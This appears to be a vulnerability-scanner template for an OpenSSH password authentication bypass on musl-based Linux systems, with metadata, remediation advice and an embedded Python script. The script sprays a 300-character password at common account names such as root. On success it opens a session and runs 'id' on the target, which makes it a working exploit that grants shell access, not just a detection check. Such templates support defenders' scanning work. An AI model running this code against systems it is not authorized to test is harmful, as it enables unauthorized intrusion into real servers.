id: CVE-2026-123158 info: name: SSHole - OpenSSH/musl Password Auth Bypass author: DhiyaneshDk severity: critical description: | sshd in OpenSSH before 10.6p2 on Linux, when musl libc is used without PAM, lacks a workaround for a password authentication bypass (related to misinterpretation of whether a string is intended to be a password hash). For some configurations of accounts, any password between 256 and 1024 characters succeeds. An example of a platform using musl libc without PAM is Alpine Linux. impact: | Attackers can bypass password authentication, gaining unauthorized access to accounts. remediation: | Update to OpenSSH version 10.6p2 or later. reference: - https://alpinelinux.org/posts/2026-11-05-openssh-password-authentication-bypass/ - https://www.openssh.com/releasenotes.html#10.6p2 - https://nvd.nist.gov/vuln/detail/cve-2026-123158 classification: cwe-id: CWE-305 metadata: verified: true max-request: 1 shodan-query: product:"OpenSSH" tags: code,ssh,vuln,alpine,musl,auth-bypass,sshhole,network,kev,vkev code: - engine: - python3 - python source: | import sys, os, socket try: import paramiko except ImportError: print("SKIP paramiko not installed") sys.exit(0) import logging logging.getLogger("paramiko").setLevel(logging.CRITICAL) raw = sys.stdin.read().strip() if ":" in raw: host, port = raw.rsplit(":", 1) port = int(port) else: host, port = raw, 22 try: s = socket.create_connection((host, port), timeout=5) banner = s.recv(256).decode(errors="replace").strip() s.close() except Exception as e: print(f"CONNECTION_FAILED {host}:{port} {e}") sys.exit(0) if "OpenSSH" not in banner: print(f"NOT_OPENSSH banner={banner}") sys.exit(0) print(f"BANNER {banner}") PW = "A" * 300 USERS = ["root", "victim", "nobody", "ftp", "ntp", "sshd", "guest"] for user in USERS: try: t = paramiko.Transport((host, port)) t.connect() # Attempt 1 -- expected FAIL (shadow buffer aliasing) a1 = False try: t.auth_password(user, PW) a1 = True except paramiko.AuthenticationException: pass except Exception: t.close() continue if a1: try: ch = t.open_session() ch.exec_command("id") out = ch.makefile().read().decode().strip() ch.close() except: out = "session-open" t.close() print(f"BYPASS_CONFIRMED user={user} attempt=1 id={out}") sys.exit(0) # Attempt 2 -- expected PASS (cached salt) try: t.auth_password(user, PW) except paramiko.AuthenticationException: t.close() continue except Exception: t.close() continue try: ch = t.open_session() ch.exec_command("id") out = ch.makefile().read().decode().strip() ch.close() except: out = "session-open" t.close() print(f"BYPASS_CONFIRMED user={user} attempt=2 id={out}") sys.exit(0) except Exception: continue print("BYPASS_FAILED") matchers: - type: word words: - "BYPASS_CONFIRMED" extractors: - type: regex name: bypassed_user group: 1 regex: - "user=(\\S+)" # digest: 4a0a004730450220459a76f7ff516f815d5064c0fd52bda0c28f76ca71ad7e68272ac5b5791e4b51022100dc8642332767838f2acb8004469d40ebd502c17f3728cb83b18e442ccb6b7ca2:922c64590222798bb761d5b6d8e72950